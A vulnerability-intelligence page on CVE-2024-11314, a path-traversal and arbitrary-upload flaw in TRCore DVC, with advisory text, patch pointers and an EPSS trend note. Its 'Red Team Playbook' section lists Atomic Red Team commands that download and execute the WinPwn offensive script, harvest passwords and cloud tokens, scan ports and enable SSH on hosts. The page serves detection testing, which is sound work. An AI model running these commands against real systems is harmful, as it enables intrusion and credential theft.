CVE-2024-11314
Overview
This vulnerability is a Path Traversal combined with unrestricted file upload in the TRCore DVC product. The root cause lies in insufficient validation of file paths and types during the upload process, allowing manipulation of directory traversal sequences. The affected component is the file upload functionality within the DVC system, which fails to enforce proper sanitization and restrictions on uploaded file destinations and content types.
Vulnerability Description
The DVC from TRCore has a Path Traversal vulnerability and does not restrict the types of uploaded files. This allows unauthenticated remote attackers to upload arbitrary files to any directory, leading to arbitrary code execution by uploading webshells.
Impact
An unauthenticated remote attacker can upload arbitrary files to any directory on the server, including web-accessible locations, enabling execution of malicious code such as webshells. This leads to full system compromise with high confidentiality, integrity, and availability impact. The vulnerability requires no user interaction or privileges and is exploitable over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). Business consequences include unauthorized data access, service disruption, and potential lateral movement within the network.
Solution
According to the Taiwan Computer Emergency Response Team advisories (https://www.twcert.org.tw/en/cp-139-8253-bc363-2.html), users should apply the vendor-provided patches for TRCore DVC immediately. The advisories provide updated versions that enforce strict file path validation and file type restrictions. Administrators are advised to follow the detailed patching instructions in these advisories to remediate the vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the DVC from TRCore is characterized by a path traversal flaw that allows unauthenticated remote attackers to manipulate file paths. This weakness arises from inadequate validation of user-supplied input, enabling attackers to traverse the file system and upload arbitrary files to any directory on the server. Furthermore, the lack of restrictions on the types of files that can be uploaded exacerbates the issue, as it permits the introduction of malicious files, such as web shells, which can be executed to gain unauthorized control over the affected system. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to the integrity and confidentiality of the system.
Attack vectors exploiting this vulnerability can be diverse and sophisticated. An attacker could initiate an exploit by crafting a specially designed request that includes path traversal sequences, such as "../", to navigate the file system. Once the attacker successfully uploads a malicious file, they can execute it to establish a foothold within the environment, potentially leading to further exploitation. For instance, a web shell could be uploaded, providing the attacker with a command interface to execute arbitrary commands, manipulate files, or exfiltrate sensitive data. The ease of exploitation, combined with the ability to operate without authentication, makes this vulnerability particularly attractive to malicious actors.
The real-world impact of this vulnerability can be significant, especially for organizations relying on the DVC for critical operations. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The business risks associated with such incidents include financial losses, reputational damage, and regulatory repercussions, particularly if personal or sensitive data is compromised. Organizations may face legal liabilities and increased scrutiny from regulatory bodies, which can further exacerbate the financial and operational impact. The potential for widespread damage emphasizes the need for immediate attention to this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in the system. Additionally, employing a web application firewall (WAF) can provide an additional layer of security by filtering out malicious requests and preventing unauthorized file uploads. It is also crucial to enforce strict input validation and sanitization protocols to ensure that only legitimate file types are accepted. Furthermore, organizations should maintain an up-to-date inventory of their assets and apply timely security patches to mitigate known vulnerabilities.
In conclusion, the path traversal vulnerability in the DVC from TRCore poses a serious threat to organizations, allowing for unauthorized file uploads and potential arbitrary code execution. The ease of exploitation and the potential for significant impact necessitate immediate action from affected organizations. By adopting comprehensive detection and mitigation strategies, businesses can reduce their exposure to this vulnerability and enhance their overall security posture. Continuous monitoring and proactive security measures will be essential in safeguarding against such critical vulnerabilities in the future.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-11314, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or active campaigns have been identified by our telemetry, the upward trend in EPSS—now approaching the 91st percentile—indicates heightened attacker interest or preparatory activity. This shift suggests that threat actors may be refining their capabilities or expanding reconnaissance efforts targeting the TRCore DVC path traversal vulnerability. For defenders, this evolving risk profile underscores the importance of maintaining vigilant monitoring and prioritizing detection capabilities, as the probability of successful exploitation is incrementally increasing. While the overall threat level remains critical, the recent EPSS escalation signals a potential acceleration in exploitation attempts, warranting sustained attention to this vulnerability within organizational risk management frameworks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Trcore | Dvc | All |
cpe:2.3:a:trcore:dvc:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11314 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-8252-91d6a-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-8253-bc363-2.html |